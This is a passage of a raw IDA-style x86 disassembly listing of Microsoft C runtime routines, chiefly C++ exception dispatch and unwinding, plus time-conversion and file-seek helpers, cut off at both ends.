arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421C61 call sub_4224F2 loc_421C61: ; CODE XREF: sub_421C4B+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421C89 cmp dword ptr [esi+4], 0 jz short loc_421CDF cmp [ebp+arg_14], 0 jnz short loc_421CDF push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_421F92 add esp, 10h jmp short loc_421CDF ; --------------------------------------------------------------------------- loc_421C89: ; CODE XREF: sub_421C4B+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421CDF cmp dword ptr [eax], 0E06D7363h jnz short loc_421CC3 cmp [eax+14h], edi jbe short loc_421CC3 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421CC3 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421CE2 ; --------------------------------------------------------------------------- loc_421CC3: ; CODE XREF: sub_421C4B+4Aj ; sub_421C4B+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421CE6 add esp, 20h loc_421CDF: ; CODE XREF: sub_421C4B+23j ; sub_421C4B+29j ... push 1 pop eax loc_421CE2: ; CODE XREF: sub_421C4B+76j pop edi pop esi pop ebp retn sub_421C4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CE6 proc near ; CODE XREF: sub_421C4B+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421D06 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421D0B loc_421D06: ; CODE XREF: sub_421CE6+16j call sub_4224F2 loc_421D0B: ; CODE XREF: sub_421CE6+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421E62 cmp dword ptr [esi+10h], 3 jnz short loc_421D7F cmp [esi+14h], edi jnz short loc_421D7F cmp dword ptr [esi+1Ch], 0 jnz short loc_421D7F mov esi, dword_4D97B8 test esi, esi jz loc_421E5D mov eax, dword_4D97BC push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424680 pop ecx test eax, eax pop ecx jnz short loc_421D61 call sub_4224F2 loc_421D61: ; CODE XREF: sub_421CE6+74j cmp [esi], ebx jnz loc_421E62 cmp dword ptr [esi+10h], 3 jnz short loc_421D7F cmp [esi+14h], edi jnz short loc_421D7F cmp dword ptr [esi+1Ch], 0 jnz short loc_421D7F call sub_4224F2 loc_421D7F: ; CODE XREF: sub_421CE6+41j ; sub_421CE6+46j ... cmp [esi], ebx jnz loc_421E62 cmp dword ptr [esi+10h], 3 jnz loc_421E62 cmp [esi+14h], edi jnz loc_421E62 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D263 add esp, 14h mov ebx, eax loc_421DB6: ; CODE XREF: sub_421CE6+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421E4D cmp [ebx], edi jg short loc_421E42 cmp edi, [ebx+4] jg short loc_421E42 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421E3F loc_421DDB: ; CODE XREF: sub_421CE6+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421E0C loc_421DED: ; CODE XREF: sub_421CE6+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_421F35 add esp, 0Ch test eax, eax jnz short loc_421E1B dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421DED loc_421E0C: ; CODE XREF: sub_421CE6+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421DDB jmp short loc_421E3F ; --------------------------------------------------------------------------- loc_421E1B: ; CODE XREF: sub_421CE6+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422046 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421E3F: ; CODE XREF: sub_421CE6+F3j ; sub_421CE6+133j mov edi, [ebp+var_10] loc_421E42: ; CODE XREF: sub_421CE6+DEj ; sub_421CE6+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421DB6 ; --------------------------------------------------------------------------- loc_421E4D: ; CODE XREF: sub_421CE6+D6j cmp [ebp+arg_14], 0 jz short loc_421E5D push 1 push esi call sub_4223BB pop ecx pop ecx loc_421E5D: ; CODE XREF: sub_421CE6+56j ; sub_421CE6+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421E62: ; CODE XREF: sub_421CE6+37j ; sub_421CE6+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421E88 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421E8D add esp, 20h jmp short loc_421E5D ; --------------------------------------------------------------------------- loc_421E88: ; CODE XREF: sub_421CE6+180j jmp sub_42249C sub_421CE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E8D proc near ; CODE XREF: sub_421CE6+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4D97C0, 0 push esi push edi jz short loc_421EBE push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D13A add esp, 1Ch test eax, eax jnz short loc_421F31 loc_421EBE: ; CODE XREF: sub_421E8D+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D263 add esp, 14h mov esi, eax loc_421EDA: ; CODE XREF: sub_421E8D+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421F31 cmp edi, [esi] jl short loc_421F29 cmp edi, [esi+4] jg short loc_421F29 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421F03 cmp byte ptr [ecx+8], 0 jnz short loc_421F29 loc_421F03: ; CODE XREF: sub_421E8D+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422046 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F29: ; CODE XREF: sub_421E8D+57j ; sub_421E8D+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421EDA ; --------------------------------------------------------------------------- loc_421F31: ; CODE XREF: sub_421E8D+2Fj ; sub_421E8D+53j pop edi pop esi leave retn sub_421E8D endp ; =============== S U B R O U T I N E ======================================= sub_421F35 proc near ; CODE XREF: sub_421CE6+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_421F8C cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_421F8C mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_421F66 add ecx, 8 push ecx push edx call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_421F88 loc_421F66: ; CODE XREF: sub_421F35+1Fj test byte ptr [esi], 2 jz short loc_421F70 test byte ptr [edi], 8 jz short loc_421F88 loc_421F70: ; CODE XREF: sub_421F35+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_421F7F test byte ptr [edi], 1 jz short loc_421F88 loc_421F7F: ; CODE XREF: sub_421F35+43j test al, 2 jz short loc_421F8C test byte ptr [edi], 2 jnz short loc_421F8C loc_421F88: ; CODE XREF: sub_421F35+2Fj ; sub_421F35+39j ... xor eax, eax jmp short loc_421F8F ; --------------------------------------------------------------------------- loc_421F8C: ; CODE XREF: sub_421F35+Bj ; sub_421F35+14j ... push 1 pop eax loc_421F8F: ; CODE XREF: sub_421F35+55j pop edi pop esi retn sub_421F35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F92 proc near ; CODE XREF: sub_421C4B+34p ; ___:00422088p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427890 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_421FC4: ; CODE XREF: sub_421F92+8Aj cmp esi, [ebp+arg_C] jz short loc_42201E cmp esi, 0FFFFFFFFh jle short loc_421FD3 cmp esi, [edi+4] jl short loc_421FD8 loc_421FD3: ; CODE XREF: sub_421F92+3Aj call sub_4224F2 loc_421FD8: ; CODE XREF: sub_421F92+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_421FF3 push 103h push ebx push eax call sub_422450 loc_421FF3: ; CODE XREF: sub_421F92+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_422013 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_422030 pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_422013: ; CODE XREF: sub_421F92+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_421FC4 ; --------------------------------------------------------------------------- loc_42201E: ; CODE XREF: sub_421F92+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_421F92 endp ; =============== S U B R O U T I N E ======================================= sub_422030 proc near ; CODE XREF: sub_421F92+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_422041 xor eax, eax retn ; --------------------------------------------------------------------------- loc_422041: ; CODE XREF: sub_422030+Cj jmp sub_42249C sub_422030 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422046 proc near ; CODE XREF: sub_421CE6+151p ; sub_421E8D+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422068 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4221F7 add esp, 10h loc_422068: ; CODE XREF: sub_422046+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_422074 push edi jmp short loc_422077 ; --------------------------------------------------------------------------- loc_422074: ; CODE XREF: sub_422046+29j push [ebp+arg_24] loc_422077: ; CODE XREF: sub_422046+2Cj call sub_41D03C sub_422046 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_421F92 mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_4220C1 add esp, 2Ch test eax, eax jz short loc_4220BC push edi push eax call sub_41CFFA loc_4220BC: ; CODE XREF: ___:004220B3j pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220C1 proc near ; CODE XREF: ___:004220A9p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278A0 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4D97B8 mov [ebp+var_1C], ecx mov ecx, dword_4D97BC mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4D97B8, edi mov ecx, [ebp+arg_8] mov dword_4D97BC, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41D0C1 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422187 mov eax, [ebp+var_2C] loc_42214E: ; CODE XREF: sub_422167+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4220C1 endp ; =============== S U B R O U T I N E ======================================= sub_42215D proc near ; DATA XREF: ___:004278B0o push dword ptr [ebp-14h] call sub_4221CD pop ecx retn sub_42215D endp ; =============== S U B R O U T I N E ======================================= sub_422167 proc near ; DATA XREF: ___:004278B4o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41D322 pop ecx pop ecx xor eax, eax jmp short loc_42214E sub_422167 endp ; --------------------------------------------------------------------------- loc_42217F: ; DATA XREF: ___:004278A8o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422187 proc near ; CODE XREF: sub_4220C1+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4D97B8, eax mov eax, [ebp-20h] mov dword_4D97BC, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_4221CC cmp dword ptr [edi+10h], 3 jnz short locret_4221CC cmp dword ptr [edi+14h], 19930520h jnz short locret_4221CC cmp [ebp-24h], ebx jnz short locret_4221CC cmp [ebp-2Ch], ebx jz short locret_4221CC call sub_41D38A push eax push edi call sub_4223BB pop ecx pop ecx locret_4221CC: ; CODE XREF: sub_422187+1Cj ; sub_422187+22j ... retn sub_422187 endp ; =============== S U B R O U T I N E ======================================= sub_4221CD proc near ; CODE XREF: sub_42215D+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4221F4 cmp dword ptr [eax+10h], 3 jnz short loc_4221F4 cmp dword ptr [eax+14h], 19930520h jnz short loc_4221F4 cmp dword ptr [eax+1Ch], 0 jnz short loc_4221F4 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4221F4: ; CODE XREF: sub_4221CD+Cj ; sub_4221CD+12j ... xor eax, eax retn sub_4221CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4221F7 proc near ; CODE XREF: sub_422046+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278B8 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_4223A0 cmp byte ptr [eax+8], 0 jz loc_4223A0 mov eax, [ecx+8] test eax, eax jz loc_4223A0 mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_422294 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424680 pop ecx pop ecx test eax, eax jz loc_422397 push 1 push edi call sub_42469C pop ecx pop ecx test eax, eax jz loc_422397 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422285: ; CODE XREF: sub_4221F7+F5j push eax call sub_422422 pop ecx pop ecx mov [edi], eax jmp loc_42239C ; --------------------------------------------------------------------------- loc_422294: ; CODE XREF: sub_4221F7+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4222EE mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424680 pop ecx pop ecx test eax, eax jz loc_422397 push 1 push edi call sub_42469C pop ecx pop ecx test eax, eax jz loc_422397 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41D400 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_42239C mov eax, [edi] test eax, eax jz loc_42239C add esi, 8 push esi jmp short loc_422285 ; --------------------------------------------------------------------------- loc_4222EE: ; CODE XREF: sub_4221F7+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422336 call sub_424680 pop ecx pop ecx test eax, eax jz loc_422397 push 1 push edi call sub_42469C pop ecx pop ecx test eax, eax jz short loc_422397 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_422422 pop ecx pop ecx push eax push edi call sub_41D400 add esp, 0Ch jmp short loc_42239C ; --------------------------------------------------------------------------- loc_422336: ; CODE XREF: sub_4221F7+103j call sub_424680 pop ecx pop ecx test eax, eax jz short loc_422397 push 1 push edi call sub_42469C pop ecx pop ecx test eax, eax jz short loc_422397 push dword ptr [esi+18h] call sub_4246B8 pop ecx test eax, eax jz short loc_422397 test byte ptr [esi], 4 jz short loc_42237D push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422422 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D035 jmp short loc_42239C ; --------------------------------------------------------------------------- loc_42237D: ; CODE XREF: sub_4221F7+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422422 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D02E jmp short loc_42239C ; --------------------------------------------------------------------------- loc_422397: ; CODE XREF: sub_4221F7+6Aj ; sub_4221F7+7Cj ... call sub_4224F2 loc_42239C: ; CODE XREF: sub_4221F7+98j ; sub_4221F7+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_4223A0: ; CODE XREF: sub_4221F7+2Ej ; sub_4221F7+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4221F7 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42249C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4223BB proc near ; CODE XREF: sub_421CE6+170p ; sub_422187+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_422402 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_422402 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41D02E or [ebp+var_4], 0FFFFFFFFh loc_422402: ; CODE XREF: sub_4223BB+2Aj ; sub_4223BB+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4223BB endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42249C ; =============== S U B R O U T I N E ======================================= sub_422422 proc near ; CODE XREF: sub_4221F7+8Fp ; sub_4221F7+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_422443 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_422443: ; CODE XREF: sub_422422+12j pop esi retn sub_422422 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422450 proc near ; CODE XREF: sub_41D0C1+40p ; sub_421F92+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41D3AD push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42248F mov ecx, 2 loc_42248F: ; CODE XREF: sub_422450+38j push ecx call sub_41D3AD pop ebp pop ecx pop ebx leave retn 0Ch sub_422450 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42249C proc near ; CODE XREF: sub_421CE6:loc_421E88j ; sub_422030:loc_422041j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004246D0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4D97C4 test eax, eax jz short loc_4224E4 mov [ebp+var_4], 1 call eax jmp short loc_4224E0 ; --------------------------------------------------------------------------- loc_4224D9: ; DATA XREF: ___:004278E8o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4224DD: ; DATA XREF: ___:004278ECo mov esp, [ebp+var_18] loc_4224E0: ; CODE XREF: sub_42249C+3Bj and [ebp+var_4], 0 loc_4224E4: ; CODE XREF: sub_42249C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4224ED: ; DATA XREF: ___:004278E0o jmp loc_4246D0 sub_42249C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4224F2 proc near ; CODE XREF: sub_41D263+23p ; sub_41D263:loc_41D2CEp ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43AC54 test eax, eax jz short loc_42253A mov [ebp+var_4], 1 call eax ; sub_42249C jmp short loc_422536 ; --------------------------------------------------------------------------- loc_42252F: ; DATA XREF: ___:00427900o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422533: ; DATA XREF: ___:00427904o mov esp, [ebp+var_18] loc_422536: ; CODE XREF: sub_4224F2+3Bj and [ebp+var_4], 0 loc_42253A: ; CODE XREF: sub_4224F2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422543: ; DATA XREF: ___:004278F8o jmp sub_42249C sub_4224F2 endp ; =============== S U B R O U T I N E ======================================= sub_422548 proc near ; CODE XREF: sub_41D743+7p ; sub_41D743+26p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_41E477 test eax, eax pop ecx jz short loc_422560 mov eax, [esi-4] pop esi sub eax, 9 retn ; --------------------------------------------------------------------------- loc_422560: ; CODE XREF: sub_422548+Ej push esi push 0 push dword_4DADA0 call near ptr 264100Eh nop pop esi retn sub_422548 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422571 proc near ; CODE XREF: sub_41D81B+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_42262D cmp ebx, 8Ah jg loc_42262D push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43B11C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4225B0 cmp edi, 2 jle short loc_4225B0 inc esi loc_4225B0: ; CODE XREF: sub_422571+37j ; sub_422571+3Cj call sub_4246E7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43B038 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_422623 cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422629 cmp dword_43B03C, 0 jz short loc_422629 lea eax, [ebp+var_24] push eax call sub_42495A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422629 loc_422623: ; CODE XREF: sub_422571+90j add ecx, dword_43B040 loc_422629: ; CODE XREF: sub_422571+96j ; sub_422571+9Fj ... mov eax, ecx jmp short loc_422630 ; --------------------------------------------------------------------------- loc_42262D: ; CODE XREF: sub_422571+13j ; sub_422571+1Fj or eax, 0FFFFFFFFh loc_422630: ; CODE XREF: sub_422571+BAj pop ebx leave retn sub_422571 endp ; =============== S U B R O U T I N E ======================================= sub_422633 proc near ; CODE XREF: ___:0041D9F3p ; sub_41F051+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DAB60 push esi push edi jnb short loc_4226B5 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DAA60h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4226B5 push eax call sub_4237AA cmp eax, 0FFFFFFFFh pop ecx jnz short loc_422677 mov dword_4D9714, 9 jmp short loc_4226C6 ; --------------------------------------------------------------------------- loc_422677: ; CODE XREF: sub_422633+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 2791104h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_422697 nop call near ptr 2680DCDh jmp short loc_422699 ; --------------------------------------------------------------------------- loc_422697: ; CODE XREF: sub_422633+5Aj xor eax, eax loc_422699: ; CODE XREF: sub_422633+62j test eax, eax jz short loc_4226A6 push eax call sub_420314 pop ecx jmp short loc_4226C6 ; --------------------------------------------------------------------------- loc_4226A6: ; CODE XREF: sub_422633+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4226C9 ; --------------------------------------------------------------------------- loc_4226B5: ; CODE XREF: sub_422633+Dj ; sub_422633+2Aj and dword_4D9718, 0 mov dword_4D9714, 9 loc_4226C6: ; CODE XREF: sub_422633+42j ; sub_422633+71j or eax, 0FFFFFFFFh loc_4226C9: ; CODE XREF: sub_422633+80j pop edi pop esi pop ebx retn sub_422633 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226CD proc near ; CODE XREF: ___:0041D9B6p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, 